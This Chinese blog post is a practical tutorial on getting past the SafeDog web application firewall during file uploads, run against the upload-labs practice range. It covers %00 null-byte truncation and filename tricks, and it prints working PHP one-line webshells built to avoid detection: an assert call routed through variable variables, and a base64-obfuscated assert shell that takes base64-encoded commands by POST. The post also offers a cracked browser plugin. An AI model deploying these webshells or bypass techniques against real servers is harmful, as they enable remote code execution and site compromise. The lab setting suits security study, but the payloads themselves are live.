文件上传10种waf绕过姿势

news/2024/9/20 6:55:04/文章来源:https://www.cnblogs.com/xiaoyus/p/18418571

基础篇:https://mp.weixin.qq.com/s/od0djMG4iwO755N2YgDAHg

环境搭建

首先去官网下载安全狗,进行网站配置,或者后台回复【安全狗】,靶场源码和waf软件都准备好了,都是最新版本的,直接下载就行

image-20240719140734087

image-20240718104030558

安全狗配置文件防护规则

image-20240718103951676

这里用upload-labs中的第六关进行文件上传测试

image-20240720125729066

第六关是在文件后缀添加一个空格就可以上传成功

image-20240718112107859

waf环境已搭好

image-20240718110902299

WAF绕过

基于文件名称的绕过

%00截断

首先上传一个php文件,抓包文件后面添加;.jpg

image-20240718152245564

;hex编码替换为00,造成00截断,如下效果

知识扩展

%00截断是一种在文件上传或URL处理过程中常见的安全绕过技术,它利用了某些编程语言或系统在处理字符串时的一个特性:即当遇到空字符(null character,ASCII码为0,即\0%00在URL编码中)时,会认为字符串已经结束,从而忽略了空字符之后的所有内容。

7月18日

可以看到,虽然绕过了waf还是有代码红色警告没有上传成功,这个时候我们就可以在原来有代码漏洞的情况下,进行绕过,原来代码存在空格绕过,这里我们就用空格进行绕过,添加一个空格

image-20240718162542359

上传成功,点击查看源码,就可以看到文件上传的位置(这个图片的位置)

image-20240718162636761

多个等号

这个操作就更简单了,直接在文件名的位置把一个等于换成多个等于,也能绕过WAF,此时再在末尾加空格,直接成功上传,如下

image-20240720135548593

哈哈,没有成功,原文是这样写的,可能已经修复了

image-20240720135621668

基于内容拦截绕过

此时我们访问,这个php文件被拦截了,这就是基于内容的拦截,像经常使用的一句话木马都会被安全狗绕过

image-20240718162708072

[1].畸形传参木马

这里要用到hackerbox谷歌插件或者使用火狐浏览器,默认下载不是破解的,我准备好了破解版本,后台私信【hackbox】即可

<?php$a = $_GET['x'];$$a = $_GET['y'];$b($_POST['z']);//调用 $b 变量所引用的函数,并将 $_POST['z'] 的值作为参数传递给它。?>

image-20240718171010670

我们所使用的一句话木马是市面上最为常见的类型,因此几乎所有的WAF(Web应用防火墙)都能识别并拦截这段内容。这正是导致我们上传后无法访问的根本原因。为了验证这一点,你可以尝试开启安全狗的木马扫描功能,看看它是否能被检测出来,从而判断其是否具备免杀能力。

image-20240718171355888

上图可以看到并没有检测到,用get方式传如参数x和y,值分别为bassert ,再用POST方式传如参数z,值为自己想执行的命令

image-20240718172741594

[2].经典编码木马

通过assert函数的base64编码后的拼接即可绕过,如下:

<?php
$e=base64_decode("hellow小羽网安");
$e($_POST['aa']);?>

免杀情况

image-20240718173634220

我们将中文放在了后面,此时出现拦截

image-20240718175622965

我放在前面试试,还是拦截

image-20240718175552240

穿插进去,就可以了,不知道是什么原理,php特性、base64编码检测,还是安全狗防护机制,有大佬路过指教一下,谢谢你

image-20240718175858301

执行成功

上面的绕过方式不可避免都有一些问题,那就是传参时使用了敏感关键字,比如phpinfo()之类的,有一些防火墙就会检测传入的参数是否含有敏感内容(例如宝塔),那这时候我们怎么办呢?

我们可以把传参使用的敏感关键字变成其他编码格式,比如base64,再在一句话木马中对传入的参数先做一个解码操作,如下

在木马中添加解码操作

<?php$e=base64_decode("YX小羽网安NzZ公众号XJ0");$e(base64_decode($_POST['aa']));?>

image-20240718192250481

这个时候我们就可以将phpinfo拿去base64进行加密

image-20240718192501792

这个时候就可以执行php代码了,绕过了关键字的检测

image-20240718192453335

其他失败案例参考

复写

image-20240720140100835

失败

image-20240720140431290

脏数据绕过

image-20240720140121421

失败

image-20240720140334677

修改为单引号

image-20240720141030785

失败

image-20240720141130658

去掉双引号

image-20240720141224174

失败

image-20240720141247298

.php放到引号的外面

image-20240720141650023

上传成功,但是并没有这个php文件

image-20240720141633479

查看上传之后的文件,并不是php文件

image-20240720141852180

那不加后缀试试,显示文件内容,并没有执行

image-20240720141956246

所以使用蚁剑也连接不了

image-20240720142134501

数据截断绕过-防匹配(; / 换行)

image-20240720142300053

失败

image-20240720142319551

参数多次

失败

image-20240720142441707

总结

本教程通过实际搭建环境,展示了文件上传中WAF的多种绕过技巧,包括%00截断、畸形传参木马、经典编码木马等。尽管部分绕过方法因WAF更新而失效,但实验过程揭示了安全机制与绕过技术的博弈。通过不断尝试与创新,攻击者总能找到新的突破点,而防御方则需持续更新策略以应对新威胁。这强调了持续安全监测与加固的重要性。

网安学习不迷路,欢迎各位大佬加入讨论

90dff4ff3a1f12bdbdaca0c3f1c0931

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/799365.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

什么是域?如何搭建?

域 域是计算机网络中的一个逻辑组织单元,具有安全边界,实现资源的集中管理和共享。它通常分为,单域 ,多域,父域,子域 ,域树(tree), 域森林(forest),DNS域名服务器。 单域和多域 单域指网络中所有计算机和用户隶属于同一域,便于集中管理;多域则将网络划分为多个独…

css布局之Grid布局

前言 最近了解到一种新的布局:grid布局(网格布局),grid并不是最近才看到的,以前在设置display的时候,会在属性值列表中看到,但却没有给过太多关注。一次偶然机会听到:对于九宫格布局的实现,grid布局会比flex布局实现起来更方便,作为flex深度使用者,这句话无疑引起了…

windows安装OpenSSL定义OPENSSL_MODULES

一、安装方式一: 1.1 下载和安装下载其他人做的便捷版安装包http://slproweb.com/products/Win32OpenSSL.html 1.2 配置环境变量:OPENSSL_HOME 1.3 配置环境变量:OPENSSL_MODULES

Ros2 - Moveit2 - 使用 Bullet 进行碰撞检查

除了灵活碰撞库 (FCL) 之外,Bullet 碰撞检测也可用作碰撞检查器。本教程以可视化碰撞教程为基础,展示碰撞。 此外,还提供连续碰撞检测(CCD),并通过 Bullet 进行演示。 入门 如果您还没有这样做,请确保您已经完成入门指南中的步骤。 运行代码 使用 Roslaunch 启动文件直接…

广播数据包报文格式

BLE报文由不同的域组成,如果域的长度超过一个字节,就涉及到先传输字节的低位还是高位的问题,这里分字节序和比特序: 字节序:大多数的多字节域都是从低字节开始传输。但是,并不是所有的多字节域都是从低字节开始传输。 比特序:各个字节传输时,每个字节都是从低位开始。前…

Java 23连夜官宣发布,IDEA亲测可用!

0 前言 官宣发布:IDEA已支持下载:1 JEPs JEP 455 Primitive Types in Patterns, instanceof, and switch (Preview) 通过允许在所有模式上下文中使用原始类型模式,增强了模式匹配,并扩展了 instanceof 和 switch 以适用于所有原始类型。这是一项预览语言特性。 JEP 466 C…

ubuntu编译grpc protobuf

参考:Ubuntu系统中本地编译并安装grpc的C++版本及测试 - 知乎 (zhihu.com) 安装依赖:# 这些可能都已经安装了 sudo apt-get install pkg-config autoconf automake libtool make g++ unzip # 下面的可能没安装 sudo apt-get install libgflags-dev libgtest-dev sudo apt-ge…

python-逻辑运算符对应的函数

__eq__(self, other):用于 == 操作符__ne__(self, other):用于 != 操作符__lt__(self, other):用于 < 操作符__le__(self, other):用于 <= 操作符__gt__(self, other):用于 > 操作符__ge__(self, other):用于 >= 操作符

python-算数运算符对应的函数

__add__(self, other): 用于 + 操作符__sub__(self, other): 用于 - 操作符__mul__(self, other): 用于 * 操作符__truediv__(self, other): 用于 / 操作符__floordiv__(self, other):用于 // 操作符__mod__(self, other): 用于 % 操作符__pow__(sel…

Python 命令跳转微软应用商店问题解决办法

除环境变量外的另一个解决办法。最常见的解决办法就是在环境变量中将 Python 安装路径上移至 %USERPROFILE%\AppData\Local\Microsoft\WindowsApps 路径前。 但是有时候这个办法也无法起效,那么此时可以进入系统设置中,将应用执行别名中的 python 项关闭。 其路径在:应用 &…

Wordpress安装

1. 说明LNMP经典网站环境, Linux系统,Nginx网站服务,MySQL数据库(Mariadb),PHP(运行环境) Wordpress PHP代码.2. 建议的搭建顺序MySQL数据库(mariadb) PHP环境 php 7.x Nginx 直接安装即可2.1. 部署数据库查看代码 # 1.安装mariadb数据库 root@iZ2zei5cw2j6q770mgp5kvZ:~# apt …